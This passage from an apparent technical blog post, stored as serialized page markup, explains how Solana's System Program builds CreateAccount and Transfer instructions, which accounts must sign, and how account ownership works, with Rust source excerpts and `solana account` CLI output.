166598],{"type":32,"value":10006},{"type":26,"tag":217,"props":166600,"children":166601},{"style":7054},[166602],{"type":32,"value":166603},"to_pubkey",{"type":26,"tag":217,"props":166605,"children":166606},{"style":7048},[166607],{"type":32,"value":7599},{"type":26,"tag":217,"props":166609,"children":166610},{"style":7154},[166611],{"type":32,"value":231},{"type":26,"tag":217,"props":166613,"children":166614},{"style":7048},[166615],{"type":32,"value":13841},{"type":26,"tag":217,"props":166617,"children":166618},{"class":7028,"line":7524},[166619],{"type":26,"tag":217,"props":166620,"children":166621},{"style":7048},[166622],{"type":32,"value":166623},"    ];\n",{"type":26,"tag":217,"props":166625,"children":166626},{"class":7028,"line":7553},[166627,166632,166636,166640],{"type":26,"tag":217,"props":166628,"children":166629},{"style":7119},[166630],{"type":32,"value":166631},"    Instruction",{"type":26,"tag":217,"props":166633,"children":166634},{"style":7149},[166635],{"type":32,"value":56166},{"type":26,"tag":217,"props":166637,"children":166638},{"style":7064},[166639],{"type":32,"value":123540},{"type":26,"tag":217,"props":166641,"children":166642},{"style":7048},[166643],{"type":32,"value":10932},{"type":26,"tag":217,"props":166645,"children":166646},{"class":7028,"line":7570},[166647,166651,166655,166659],{"type":26,"tag":217,"props":166648,"children":166649},{"style":7048},[166650],{"type":32,"value":123552},{"type":26,"tag":217,"props":166652,"children":166653},{"style":7149},[166654],{"type":32,"value":56166},{"type":26,"tag":217,"props":166656,"children":166657},{"style":7064},[166658],{"type":32,"value":95138},{"type":26,"tag":217,"props":166660,"children":166661},{"style":7048},[166662],{"type":32,"value":79153},{"type":26,"tag":217,"props":166664,"children":166665},{"class":7028,"line":7621},[166666,166670,166674,166678,166682],{"type":26,"tag":217,"props":166667,"children":166668},{"style":7149},[166669],{"type":32,"value":121297},{"type":26,"tag":217,"props":166671,"children":166672},{"style":7048},[166673],{"type":32,"value":123573},{"type":26,"tag":217,"props":166675,"children":166676},{"style":7149},[166677],{"type":32,"value":56166},{"type":26,"tag":217,"props":166679,"children":166680},{"style":7119},[166681],{"type":32,"value":123582},{"type":26,"tag":217,"props":166683,"children":166684},{"style":7048},[166685],{"type":32,"value":8064},{"type":26,"tag":217,"props":166687,"children":166688},{"class":7028,"line":7672},[166689,166693],{"type":26,"tag":217,"props":166690,"children":166691},{"style":7054},[166692],{"type":32,"value":123615},{"type":26,"tag":217,"props":166694,"children":166695},{"style":7048},[166696],{"type":32,"value":10953},{"type":26,"tag":217,"props":166698,"children":166699},{"class":7028,"line":7681},[166700,166704],{"type":26,"tag":217,"props":166701,"children":166702},{"style":7054},[166703],{"type":32,"value":123594},{"type":26,"tag":217,"props":166705,"children":166706},{"style":7048},[166707],{"type":32,"value":10953},{"type":26,"tag":217,"props":166709,"children":166710},{"class":7028,"line":7754},[166711,166715,166719,166723,166727],{"type":26,"tag":217,"props":166712,"children":166713},{"style":7054},[166714],{"type":32,"value":123665},{"type":26,"tag":217,"props":166716,"children":166717},{"style":7149},[166718],{"type":32,"value":1473},{"type":26,"tag":217,"props":166720,"children":166721},{"style":7149},[166722],{"type":32,"value":9690},{"type":26,"tag":217,"props":166724,"children":166725},{"style":7054},[166726],{"type":32,"value":101770},{"type":26,"tag":217,"props":166728,"children":166729},{"style":7048},[166730],{"type":32,"value":10953},{"type":26,"tag":217,"props":166732,"children":166733},{"class":7028,"line":7784},[166734],{"type":26,"tag":217,"props":166735,"children":166736},{"style":7048},[166737],{"type":32,"value":98350},{"type":26,"tag":217,"props":166739,"children":166740},{"class":7028,"line":7802},[166741,166746],{"type":26,"tag":217,"props":166742,"children":166743},{"style":7054},[166744],{"type":32,"value":166745},"        account_metas",{"type":26,"tag":217,"props":166747,"children":166748},{"style":7048},[166749],{"type":32,"value":10953},{"type":26,"tag":217,"props":166751,"children":166752},{"class":7028,"line":7811},[166753],{"type":26,"tag":217,"props":166754,"children":166755},{"style":7048},[166756],{"type":32,"value":61246},{"type":26,"tag":217,"props":166758,"children":166759},{"class":7028,"line":7820},[166760],{"type":26,"tag":217,"props":166761,"children":166762},{"style":7048},[166763],{"type":32,"value":7184},{"type":26,"tag":39,"props":166765,"children":166766},{},[166767],{"type":32,"value":166768},"Both the from and to pubkeys are specified as signers (the boolean passed into AccountMeta). This means that we need to have a valid signature for both.",{"type":26,"tag":207,"props":166770,"children":166772},{"code":166771,"language":56139,"meta":8,"className":56140,"style":8},"  AccountMeta::new(*from_pubkey, /*is_signer=*/true),\n  AccountMeta::new(*to_pubkey, true),\n",[166773],{"type":26,"tag":83,"props":166774,"children":166775},{"__ignoreMap":8},[166776,166821],{"type":26,"tag":217,"props":166777,"children":166778},{"class":7028,"line":7029},[166779,166784,166788,166792,166796,166800,166804,166808,166813,166817],{"type":26,"tag":217,"props":166780,"children":166781},{"style":7119},[166782],{"type":32,"value":166783},"  AccountMeta",{"type":26,"tag":217,"props":166785,"children":166786},{"style":7149},[166787],{"type":32,"value":56166},{"type":26,"tag":217,"props":166789,"children":166790},{"style":7064},[166791],{"type":32,"value":7116},{"type":26,"tag":217,"props":166793,"children":166794},{"style":7048},[166795],{"type":32,"value":1851},{"type":26,"tag":217,"props":166797,"children":166798},{"style":7149},[166799],{"type":32,"value":10006},{"type":26,"tag":217,"props":166801,"children":166802},{"style":7054},[166803],{"type":32,"value":166563},{"type":26,"tag":217,"props":166805,"children":166806},{"style":7048},[166807],{"type":32,"value":7599},{"type":26,"tag":217,"props":166809,"children":166810},{"style":7033},[166811],{"type":32,"value":166812},"/*is_signer=*/",{"type":26,"tag":217,"props":166814,"children":166815},{"style":7154},[166816],{"type":32,"value":231},{"type":26,"tag":217,"props":166818,"children":166819},{"style":7048},[166820],{"type":32,"value":13841},{"type":26,"tag":217,"props":166822,"children":166823},{"class":7028,"line":6770},[166824,166828,166832,166836,166840,166844,166848,166852,166856],{"type":26,"tag":217,"props":166825,"children":166826},{"style":7119},[166827],{"type":32,"value":166783},{"type":26,"tag":217,"props":166829,"children":166830},{"style":7149},[166831],{"type":32,"value":56166},{"type":26,"tag":217,"props":166833,"children":166834},{"style":7064},[166835],{"type":32,"value":7116},{"type":26,"tag":217,"props":166837,"children":166838},{"style":7048},[166839],{"type":32,"value":1851},{"type":26,"tag":217,"props":166841,"children":166842},{"style":7149},[166843],{"type":32,"value":10006},{"type":26,"tag":217,"props":166845,"children":166846},{"style":7054},[166847],{"type":32,"value":166603},{"type":26,"tag":217,"props":166849,"children":166850},{"style":7048},[166851],{"type":32,"value":7599},{"type":26,"tag":217,"props":166853,"children":166854},{"style":7154},[166855],{"type":32,"value":231},{"type":26,"tag":217,"props":166857,"children":166858},{"style":7048},[166859],{"type":32,"value":13841},{"type":26,"tag":39,"props":166861,"children":166862},{},[166863,166865,166870,166872,166878],{"type":32,"value":166864},"This is because the ",{"type":26,"tag":83,"props":166866,"children":166868},{"className":166867},[],[166869],{"type":32,"value":92598},{"type":32,"value":166871}," used to create the account will come from the ",{"type":26,"tag":83,"props":166873,"children":166875},{"className":166874},[],[166876],{"type":32,"value":166877},"from_account",{"type":32,"value":166879},", thus lowering the balance of that account and requiring a signature.",{"type":26,"tag":39,"props":166881,"children":166882},{},[166883,166885,166891],{"type":32,"value":166884},"Internally CreateAccount will call into ",{"type":26,"tag":83,"props":166886,"children":166888},{"className":166887},[],[166889],{"type":32,"value":166890},"allocate_and_assign",{"type":32,"value":166892},", which allocates space for the account and assigns ownership.",{"type":26,"tag":207,"props":166894,"children":166896},{"code":166895,"language":56139,"meta":8,"className":56140,"style":8},"    allocate(invoke_context, signers, to_account, to_address, space)?;\n    assign(invoke_context, signers, to_account, to_address, owner)\n",[166897],{"type":26,"tag":83,"props":166898,"children":166899},{"__ignoreMap":8},[166900,166965],{"type":26,"tag":217,"props":166901,"children":166902},{"class":7028,"line":7029},[166903,166908,166912,166917,166921,166926,166930,166935,166939,166944,166948,166953,166957,166961],{"type":26,"tag":217,"props":166904,"children":166905},{"style":7064},[166906],{"type":32,"value":166907},"    allocate",{"type":26,"tag":217,"props":166909,"children":166910},{"style":7048},[166911],{"type":32,"value":1851},{"type":26,"tag":217,"props":166913,"children":166914},{"style":7054},[166915],{"type":32,"value":166916},"invoke_context",{"type":26,"tag":217,"props":166918,"children":166919},{"style":7048},[166920],{"type":32,"value":7599},{"type":26,"tag":217,"props":166922,"children":166923},{"style":7054},[166924],{"type":32,"value":166925},"signers",{"type":26,"tag":217,"props":166927,"children":166928},{"style":7048},[166929],{"type":32,"value":7599},{"type":26,"tag":217,"props":166931,"children":166932},{"style":7054},[166933],{"type":32,"value":166934},"to_account",{"type":26,"tag":217,"props":166936,"children":166937},{"style":7048},[166938],{"type":32,"value":7599},{"type":26,"tag":217,"props":166940,"children":166941},{"style":7054},[166942],{"type":32,"value":166943},"to_address",{"type":26,"tag":217,"props":166945,"children":166946},{"style":7048},[166947],{"type":32,"value":7599},{"type":26,"tag":217,"props":166949,"children":166950},{"style":7054},[166951],{"type":32,"value":166952},"space",{"type":26,"tag":217,"props":166954,"children":166955},{"style":7048},[166956],{"type":32,"value":1889},{"type":26,"tag":217,"props":166958,"children":166959},{"style":7149},[166960],{"type":32,"value":605},{"type":26,"tag":217,"props":166962,"children":166963},{"style":7048},[166964],{"type":32,"value":7162},{"type":26,"tag":217,"props":166966,"children":166967},{"class":7028,"line":6770},[166968,166973,166977,166981,166985,166989,166993,166997,167001,167005,167009,167013],{"type":26,"tag":217,"props":166969,"children":166970},{"style":7064},[166971],{"type":32,"value":166972},"    assign",{"type":26,"tag":217,"props":166974,"children":166975},{"style":7048},[166976],{"type":32,"value":1851},{"type":26,"tag":217,"props":166978,"children":166979},{"style":7054},[166980],{"type":32,"value":166916},{"type":26,"tag":217,"props":166982,"children":166983},{"style":7048},[166984],{"type":32,"value":7599},{"type":26,"tag":217,"props":166986,"children":166987},{"style":7054},[166988],{"type":32,"value":166925},{"type":26,"tag":217,"props":166990,"children":166991},{"style":7048},[166992],{"type":32,"value":7599},{"type":26,"tag":217,"props":166994,"children":166995},{"style":7054},[166996],{"type":32,"value":166934},{"type":26,"tag":217,"props":166998,"children":166999},{"style":7048},[167000],{"type":32,"value":7599},{"type":26,"tag":217,"props":167002,"children":167003},{"style":7054},[167004],{"type":32,"value":166943},{"type":26,"tag":217,"props":167006,"children":167007},{"style":7048},[167008],{"type":32,"value":7599},{"type":26,"tag":217,"props":167010,"children":167011},{"style":7054},[167012],{"type":32,"value":101770},{"type":26,"tag":217,"props":167014,"children":167015},{"style":7048},[167016],{"type":32,"value":10025},{"type":26,"tag":39,"props":167018,"children":167019},{},[167020,167022,167028,167029,167035],{"type":32,"value":167021},"Note that you can also do these steps separately with the ",{"type":26,"tag":83,"props":167023,"children":167025},{"className":167024},[],[167026],{"type":32,"value":167027},"Assign",{"type":32,"value":1308},{"type":26,"tag":83,"props":167030,"children":167032},{"className":167031},[],[167033],{"type":32,"value":167034},"Allocate",{"type":32,"value":25080},{"type":26,"tag":207,"props":167037,"children":167039},{"code":167038,"language":56139,"meta":8,"className":56140,"style":8},"    Assign {\n        owner: Pubkey,\n    },\n    ...\n    Allocate {\n        space: u64,\n    },\n",[167040],{"type":26,"tag":83,"props":167041,"children":167042},{"__ignoreMap":8},[167043,167055,167074,167081,167088,167100,167119],{"type":26,"tag":217,"props":167044,"children":167045},{"class":7028,"line":7029},[167046,167051],{"type":26,"tag":217,"props":167047,"children":167048},{"style":7119},[167049],{"type":32,"value":167050},"    Assign",{"type":26,"tag":217,"props":167052,"children":167053},{"style":7048},[167054],{"type":32,"value":8064},{"type":26,"tag":217,"props":167056,"children":167057},{"class":7028,"line":6770},[167058,167062,167066,167070],{"type":26,"tag":217,"props":167059,"children":167060},{"style":7054},[167061],{"type":32,"value":166301},{"type":26,"tag":217,"props":167063,"children":167064},{"style":7149},[167065],{"type":32,"value":1473},{"type":26,"tag":217,"props":167067,"children":167068},{"style":7119},[167069],{"type":32,"value":93283},{"type":26,"tag":217,"props":167071,"children":167072},{"style":7048},[167073],{"type":32,"value":10953},{"type":26,"tag":217,"props":167075,"children":167076},{"class":7028,"line":6779},[167077],{"type":26,"tag":217,"props":167078,"children":167079},{"style":7048},[167080],{"type":32,"value":68742},{"type":26,"tag":217,"props":167082,"children":167083},{"class":7028,"line":7140},[167084],{"type":26,"tag":217,"props":167085,"children":167086},{"style":7149},[167087],{"type":32,"value":75433},{"type":26,"tag":217,"props":167089,"children":167090},{"class":7028,"line":7165},[167091,167096],{"type":26,"tag":217,"props":167092,"children":167093},{"style":7119},[167094],{"type":32,"value":167095},"    Allocate",{"type":26,"tag":217,"props":167097,"children":167098},{"style":7048},[167099],{"type":32,"value":8064},{"type":26,"tag":217,"props":167101,"children":167102},{"class":7028,"line":7178},[167103,167107,167111,167115],{"type":26,"tag":217,"props":167104,"children":167105},{"style":7054},[167106],{"type":32,"value":166289},{"type":26,"tag":217,"props":167108,"children":167109},{"style":7149},[167110],{"type":32,"value":1473},{"type":26,"tag":217,"props":167112,"children":167113},{"style":7119},[167114],{"type":32,"value":91146},{"type":26,"tag":217,"props":167116,"children":167117},{"style":7048},[167118],{"type":32,"value":10953},{"type":26,"tag":217,"props":167120,"children":167121},{"class":7028,"line":7389},[167122],{"type":26,"tag":217,"props":167123,"children":167124},{"style":7048},[167125],{"type":32,"value":68742},{"type":26,"tag":39,"props":167127,"children":167128},{},[167129,167131,167136],{"type":32,"value":167130},"In contrast, consider the instruction for ",{"type":26,"tag":83,"props":167132,"children":167134},{"className":167133},[],[167135],{"type":32,"value":166342},{"type":32,"value":180},{"type":26,"tag":207,"props":167138,"children":167140},{"code":167139,"language":56139,"meta":8,"className":56140,"style":8},"pub fn transfer(from_pubkey: &Pubkey, to_pubkey: &Pubkey, lamports: u64) -> Instruction {\n    let account_metas = vec![\n        AccountMeta::new(*from_pubkey, true),\n        AccountMeta::new(*to_pubkey, false),\n    ];\n    Instruction::new_with_bincode(\n        system_program::id(),\n        &SystemInstruction::Transfer { lamports },\n        account_metas,\n    )\n}\n",[167141],{"type":26,"tag":83,"props":167142,"children":167143},{"__ignoreMap":8},[167144,167232,167255,167294,167333,167340,167359,167378,167409,167420,167427],{"type":26,"tag":217,"props":167145,"children":167146},{"class":7028,"line":7029},[167147,167151,167155,167160,167164,167168,167172,167176,167180,167184,167188,167192,167196,167200,167204,167208,167212,167216,167220,167224,167228],{"type":26,"tag":217,"props":167148,"children":167149},{"style":7154},[167150],{"type":32,"value":56830},{"type":26,"tag":217,"props":167152,"children":167153},{"style":7154},[167154],{"type":32,"value":56835},{"type":26,"tag":217,"props":167156,"children":167157},{"style":7064},[167158],{"type":32,"value":167159}," transfer",{"type":26,"tag":217,"props":167161,"children":167162},{"style":7048},[167163],{"type":32,"value":1851},{"type":26,"tag":217,"props":167165,"children":167166},{"style":7054},[167167],{"type":32,"value":166563},{"type":26,"tag":217,"props":167169,"children":167170},{"style":7149},[167171],{"type":32,"value":1473},{"type":26,"tag":217,"props":167173,"children":167174},{"style":7149},[167175],{"type":32,"value":10222},{"type":26,"tag":217,"props":167177,"children":167178},{"style":7119},[167179],{"type":32,"value":93369},{"type":26,"tag":217,"props":167181,"children":167182},{"style":7048},[167183],{"type":32,"value":7599},{"type":26,"tag":217,"props":167185,"children":167186},{"style":7054},[167187],{"type":32,"value":166603},{"type":26,"tag":217,"props":167189,"children":167190},{"style":7149},[167191],{"type":32,"value":1473},{"type":26,"tag":217,"props":167193,"children":167194},{"style":7149},[167195],{"type":32,"value":10222},{"type":26,"tag":217,"props":167197,"children":167198},{"style":7119},[167199],{"type":32,"value":93369},{"type":26,"tag":217,"props":167201,"children":167202},{"style":7048},[167203],{"type":32,"value":7599},{"type":26,"tag":217,"props":167205,"children":167206},{"style":7054},[167207],{"type":32,"value":92598},{"type":26,"tag":217,"props":167209,"children":167210},{"style":7149},[167211],{"type":32,"value":1473},{"type":26,"tag":217,"props":167213,"children":167214},{"style":7119},[167215],{"type":32,"value":91146},{"type":26,"tag":217,"props":167217,"children":167218},{"style":7048},[167219],{"type":32,"value":8380},{"type":26,"tag":217,"props":167221,"children":167222},{"style":7149},[167223],{"type":32,"value":10115},{"type":26,"tag":217,"props":167225,"children":167226},{"style":7119},[167227],{"type":32,"value":121167},{"type":26,"tag":217,"props":167229,"children":167230},{"style":7048},[167231],{"type":32,"value":8064},{"type":26,"tag":217,"props":167233,"children":167234},{"class":7028,"line":6770},[167235,167239,167243,167247,167251],{"type":26,"tag":217,"props":167236,"children":167237},{"style":7154},[167238],{"type":32,"value":77780},{"type":26,"tag":217,"props":167240,"children":167241},{"style":7054},[167242],{"type":32,"value":166522},{"type":26,"tag":217,"props":167244,"children":167245},{"style":7149},[167246],{"type":32,"value":8993},{"type":26,"tag":217,"props":167248,"children":167249},{"style":7064},[167250],{"type":32,"value":121258},{"type":26,"tag":217,"props":167252,"children":167253},{"style":7048},[167254],{"type":32,"value":123702},{"type":26,"tag":217,"props":167256,"children":167257},{"class":7028,"line":6779},[167258,167262,167266,167270,167274,167278,167282,167286,167290],{"type":26,"tag":217,"props":167259,"children":167260},{"style":7119},[167261],{"type":32,"value":166542},{"type":26,"tag":217,"props":167263,"children":167264},{"style":7149},[167265],{"type":32,"value":56166},{"type":26,"tag":217,"props":167267,"children":167268},{"style":7064},[167269],{"type":32,"value":7116},{"type":26,"tag":217,"props":167271,"children":167272},{"style":7048},[167273],{"type":32,"value":1851},{"type":26,"tag":217,"props":167275,"children":167276},{"style":7149},[167277],{"type":32,"value":10006},{"type":26,"tag":217,"props":167279,"children":167280},{"style":7054},[167281],{"type":32,"value":166563},{"type":26,"tag":217,"props":167283,"children":167284},{"style":7048},[167285],{"type":32,"value":7599},{"type":26,"tag":217,"props":167287,"children":167288},{"style":7154},[167289],{"type":32,"value":231},{"type":26,"tag":217,"props":167291,"children":167292},{"style":7048},[167293],{"type":32,"value":13841},{"type":26,"tag":217,"props":167295,"children":167296},{"class":7028,"line":7140},[167297,167301,167305,167309,167313,167317,167321,167325,167329],{"type":26,"tag":217,"props":167298,"children":167299},{"style":7119},[167300],{"type":32,"value":166542},{"type":26,"tag":217,"props":167302,"children":167303},{"style":7149},[167304],{"type":32,"value":56166},{"type":26,"tag":217,"props":167306,"children":167307},{"style":7064},[167308],{"type":32,"value":7116},{"type":26,"tag":217,"props":167310,"children":167311},{"style":7048},[167312],{"type":32,"value":1851},{"type":26,"tag":217,"props":167314,"children":167315},{"style":7149},[167316],{"type":32,"value":10006},{"type":26,"tag":217,"props":167318,"children":167319},{"style":7054},[167320],{"type":32,"value":166603},{"type":26,"tag":217,"props":167322,"children":167323},{"style":7048},[167324],{"type":32,"value":7599},{"type":26,"tag":217,"props":167326,"children":167327},{"style":7154},[167328],{"type":32,"value":60208},{"type":26,"tag":217,"props":167330,"children":167331},{"style":7048},[167332],{"type":32,"value":13841},{"type":26,"tag":217,"props":167334,"children":167335},{"class":7028,"line":7165},[167336],{"type":26,"tag":217,"props":167337,"children":167338},{"style":7048},[167339],{"type":32,"value":166623},{"type":26,"tag":217,"props":167341,"children":167342},{"class":7028,"line":7178},[167343,167347,167351,167355],{"type":26,"tag":217,"props":167344,"children":167345},{"style":7119},[167346],{"type":32,"value":166631},{"type":26,"tag":217,"props":167348,"children":167349},{"style":7149},[167350],{"type":32,"value":56166},{"type":26,"tag":217,"props":167352,"children":167353},{"style":7064},[167354],{"type":32,"value":123540},{"type":26,"tag":217,"props":167356,"children":167357},{"style":7048},[167358],{"type":32,"value":10932},{"type":26,"tag":217,"props":167360,"children":167361},{"class":7028,"line":7389},[167362,167366,167370,167374],{"type":26,"tag":217,"props":167363,"children":167364},{"style":7048},[167365],{"type":32,"value":123552},{"type":26,"tag":217,"props":167367,"children":167368},{"style":7149},[167369],{"type":32,"value":56166},{"type":26,"tag":217,"props":167371,"children":167372},{"style":7064},[167373],{"type":32,"value":95138},{"type":26,"tag":217,"props":167375,"children":167376},{"style":7048},[167377],{"type":32,"value":79153},{"type":26,"tag":217,"props":167379,"children":167380},{"class":7028,"line":7406},[167381,167385,167389,167393,167397,167401,167405],{"type":26,"tag":217,"props":167382,"children":167383},{"style":7149},[167384],{"type":32,"value":121297},{"type":26,"tag":217,"props":167386,"children":167387},{"style":7048},[167388],{"type":32,"value":123573},{"type":26,"tag":217,"props":167390,"children":167391},{"style":7149},[167392],{"type":32,"value":56166},{"type":26,"tag":217,"props":167394,"children":167395},{"style":7119},[167396],{"type":32,"value":166342},{"type":26,"tag":217,"props":167398,"children":167399},{"style":7048},[167400],{"type":32,"value":65337},{"type":26,"tag":217,"props":167402,"children":167403},{"style":7054},[167404],{"type":32,"value":92598},{"type":26,"tag":217,"props":167406,"children":167407},{"style":7048},[167408],{"type":32,"value":143898},{"type":26,"tag":217,"props":167410,"children":167411},{"class":7028,"line":7439},[167412,167416],{"type":26,"tag":217,"props":167413,"children":167414},{"style":7054},[167415],{"type":32,"value":166745},{"type":26,"tag":217,"props":167417,"children":167418},{"style":7048},[167419],{"type":32,"value":10953},{"type":26,"tag":217,"props":167421,"children":167422},{"class":7028,"line":7487},[167423],{"type":26,"tag":217,"props":167424,"children":167425},{"style":7048},[167426],{"type":32,"value":61246},{"type":26,"tag":217,"props":167428,"children":167429},{"class":7028,"line":7524},[167430],{"type":26,"tag":217,"props":167431,"children":167432},{"style":7048},[167433],{"type":32,"value":7184},{"type":26,"tag":39,"props":167435,"children":167436},{},[167437,167439,167444],{"type":32,"value":167438},"Note how only ",{"type":26,"tag":83,"props":167440,"children":167442},{"className":167441},[],[167443],{"type":32,"value":166563},{"type":32,"value":167445}," needs a signature. Intuitively this makes sense because we don't need permission to transfer funds into an account (at least in Solana's permission model).",{"type":26,"tag":39,"props":167447,"children":167448},{},[167449,167450,167455,167457,167462],{"type":32,"value":475},{"type":26,"tag":83,"props":167451,"children":167453},{"className":167452},[],[167454],{"type":32,"value":98435},{"type":32,"value":167456}," implementation in ",{"type":26,"tag":83,"props":167458,"children":167460},{"className":167459},[],[167461],{"type":32,"value":166226},{"type":32,"value":167463}," indeed checks for the signature.",{"type":26,"tag":207,"props":167465,"children":167467},{"code":167466,"language":56139,"meta":8,"className":56140,"style":8},"    if !instruction_context\n        .is_signer(instruction_context.get_number_of_program_accounts() + from_account_index)?\n    {\n        ic_msg!(\n            invoke_context,\n            \"Transfer: `from` account {} must sign\",\n            instruction_context.get_instruction_account_key(\n                invoke_context.transaction_context,\n                from_account_index\n            )?,\n        );\n        return Err(InstructionError::MissingRequiredSignature);\n    }\n",[167468],{"type":26,"tag":83,"props":167469,"children":167470},{"__ignoreMap":8},[167471,167487,167537,167544,167556,167568,167580,167601,167618,167626,167642,167649,167681],{"type":26,"tag":217,"props":167472,"children":167473},{"class":7028,"line":7029},[167474,167478,167482],{"type":26,"tag":217,"props":167475,"children":167476},{"style":7042},[167477],{"type":32,"value":9710},{"type":26,"tag":217,"props":167479,"children":167480},{"style":7149},[167481],{"type":32,"value":37846},{"type":26,"tag":217,"props":167483,"children":167484},{"style":7054},[167485],{"type":32,"value":167486},"instruction_context\n",{"type":26,"tag":217,"props":167488,"children":167489},{"class":7028,"line":6770},[167490,167494,167498,167502,167507,167511,167516,167520,167524,167529,167533],{"type":26,"tag":217,"props":167491,"children":167492},{"style":7149},[167493],{"type":32,"value":93136},{"type":26,"tag":217,"props":167495,"children":167496},{"style":7064},[167497],{"type":32,"value":161242},{"type":26,"tag":217,"props":167499,"children":167500},{"style":7048},[167501],{"type":32,"value":1851},{"type":26,"tag":217,"props":167503,"children":167504},{"style":7054},[167505],{"type":32,"value":167506},"instruction_context",{"type":26,"tag":217,"props":167508,"children":167509},{"style":7149},[167510],{"type":32,"value":180},{"type":26,"tag":217,"props":167512,"children":167513},{"style":7064},[167514],{"type":32,"value":167515},"get_number_of_program_accounts",{"type":26,"tag":217,"props":167517,"children":167518},{"style":7048},[167519],{"type":32,"value":61808},{"type":26,"tag":217,"props":167521,"children":167522},{"style":7149},[167523],{"type":32,"value":3540},{"type":26,"tag":217,"props":167525,"children":167526},{"style":7054},[167527],{"type":32,"value":167528}," from_account_index",{"type":26,"tag":217,"props":167530,"children":167531},{"style":7048},[167532],{"type":32,"value":1889},{"type":26,"tag":217,"props":167534,"children":167535},{"style":7149},[167536],{"type":32,"value":136648},{"type":26,"tag":217,"props":167538,"children":167539},{"class":7028,"line":6779},[167540],{"type":26,"tag":217,"props":167541,"children":167542},{"style":7048},[167543],{"type":32,"value":37334},{"type":26,"tag":217,"props":167545,"children":167546},{"class":7028,"line":7140},[167547,167552],{"type":26,"tag":217,"props":167548,"children":167549},{"style":7064},[167550],{"type":32,"value":167551},"        ic_msg!",{"type":26,"tag":217,"props":167553,"children":167554},{"style":7048},[167555],{"type":32,"value":10932},{"type":26,"tag":217,"props":167557,"children":167558},{"class":7028,"line":7165},[167559,167564],{"type":26,"tag":217,"props":167560,"children":167561},{"style":7054},[167562],{"type":32,"value":167563},"            invoke_context",{"type":26,"tag":217,"props":167565,"children":167566},{"style":7048},[167567],{"type":32,"value":10953},{"type":26,"tag":217,"props":167569,"children":167570},{"class":7028,"line":7178},[167571,167576],{"type":26,"tag":217,"props":167572,"children":167573},{"style":7338},[167574],{"type":32,"value":167575},"            \"Transfer: `from` account {} must sign\"",{"type":26,"tag":217,"props":167577,"children":167578},{"style":7048},[167579],{"type":32,"value":10953},{"type":26,"tag":217,"props":167581,"children":167582},{"class":7028,"line":7389},[167583,167588,167592,167597],{"type":26,"tag":217,"props":167584,"children":167585},{"style":7054},[167586],{"type":32,"value":167587},"            instruction_context",{"type":26,"tag":217,"props":167589,"children":167590},{"style":7149},[167591],{"type":32,"value":180},{"type":26,"tag":217,"props":167593,"children":167594},{"style":7064},[167595],{"type":32,"value":167596},"get_instruction_account_key",{"type":26,"tag":217,"props":167598,"children":167599},{"style":7048},[167600],{"type":32,"value":10932},{"type":26,"tag":217,"props":167602,"children":167603},{"class":7028,"line":7406},[167604,167609,167613],{"type":26,"tag":217,"props":167605,"children":167606},{"style":7054},[167607],{"type":32,"value":167608},"                invoke_context",{"type":26,"tag":217,"props":167610,"children":167611},{"style":7149},[167612],{"type":32,"value":180},{"type":26,"tag":217,"props":167614,"children":167615},{"style":7048},[167616],{"type":32,"value":167617},"transaction_context,\n",{"type":26,"tag":217,"props":167619,"children":167620},{"class":7028,"line":7439},[167621],{"type":26,"tag":217,"props":167622,"children":167623},{"style":7054},[167624],{"type":32,"value":167625},"                from_account_index\n",{"type":26,"tag":217,"props":167627,"children":167628},{"class":7028,"line":7487},[167629,167634,167638],{"type":26,"tag":217,"props":167630,"children":167631},{"style":7048},[167632],{"type":32,"value":167633},"            )",{"type":26,"tag":217,"props":167635,"children":167636},{"style":7149},[167637],{"type":32,"value":605},{"type":26,"tag":217,"props":167639,"children":167640},{"style":7048},[167641],{"type":32,"value":10953},{"type":26,"tag":217,"props":167643,"children":167644},{"class":7028,"line":7524},[167645],{"type":26,"tag":217,"props":167646,"children":167647},{"style":7048},[167648],{"type":32,"value":63576},{"type":26,"tag":217,"props":167650,"children":167651},{"class":7028,"line":7553},[167652,167656,167660,167664,167668,167672,167677],{"type":26,"tag":217,"props":167653,"children":167654},{"style":7042},[167655],{"type":32,"value":9737},{"type":26,"tag":217,"props":167657,"children":167658},{"style":7119},[167659],{"type":32,"value":77979},{"type":26,"tag":217,"props":167661,"children":167662},{"style":7048},[167663],{"type":32,"value":1851},{"type":26,"tag":217,"props":167665,"children":167666},{"style":7119},[167667],{"type":32,"value":92628},{"type":26,"tag":217,"props":167669,"children":167670},{"style":7149},[167671],{"type":32,"value":56166},{"type":26,"tag":217,"props":167673,"children":167674},{"style":7119},[167675],{"type":32,"value":167676},"MissingRequiredSignature",{"type":26,"tag":217,"props":167678,"children":167679},{"style":7048},[167680],{"type":32,"value":7669},{"type":26,"tag":217,"props":167682,"children":167683},{"class":7028,"line":7570},[167684],{"type":26,"tag":217,"props":167685,"children":167686},{"style":7048},[167687],{"type":32,"value":9754},{"type":26,"tag":39,"props":167689,"children":167690},{},[167691,167693,167698],{"type":32,"value":167692},"Note that because the System Program runs at a higher level than the execution runtime, the System Program can only transfer funds out of accounts that it owns. In other words, ",{"type":26,"tag":83,"props":167694,"children":167696},{"className":167695},[],[167697],{"type":32,"value":98435},{"type":32,"value":167699}," does not work on arbitrary Solana accounts, even if you can generate a valid signature for it. By default all user pubkeys are owned by the System Program.",{"type":26,"tag":207,"props":167701,"children":167703},{"code":167702},"$ solana account 6ZRCB7AAqGre6c72PRz3MHLC73VMYvJ8bi9KHf1HFpNk\n\nPublic Key: 6ZRCB7AAqGre6c72PRz3MHLC73VMYvJ8bi9KHf1HFpNk\nBalance: 1152042.467511623 SOL\nOwner: 11111111111111111111111111111111\nExecutable: false\nRent Epoch: 288\n",[167704],{"type":26,"tag":83,"props":167705,"children":167706},{"__ignoreMap":8},[167707],{"type":32,"value":167702},{"type":26,"tag":39,"props":167709,"children":167710},{},[167711],{"type":32,"value":167712},"An example of an account which is not owned by the System Program are the token accounts which store how many tokens a user has.",{"type":26,"tag":207,"props":167714,"children":167716},{"code":167715},"$ solana account 4W4dtYi4rXTegfR6byhmP17VJo4MaUWWCt3zzLnZVKGZ\n\nPublic Key: 4W4dtYi4rXTegfR6byhmP17VJo4MaUWWCt3zzLnZVKGZ\nBalance: 0.00203928 SOL\nOwner: TokenkegQfeZyiNwAJbNbGKPFXCWuBvf9Ss623VQ5DA\nExecutable: false\nRent Epoch: 288\nLength: 165 (0xa5) bytes\n0000:   06 83 10 86  1a 98 32 7d  05 50 57 4d  84 41 8a a6   ......2}.PWM.A..\n0010:   e1 0c 33 52  dd aa 7f d7  f5 81 52 cc  ee b2 38 87   ..3R......R...8.\n0020:   52 98 60 10  57 37 39 df  4b 58 ba 50  e3 9c f3 f3   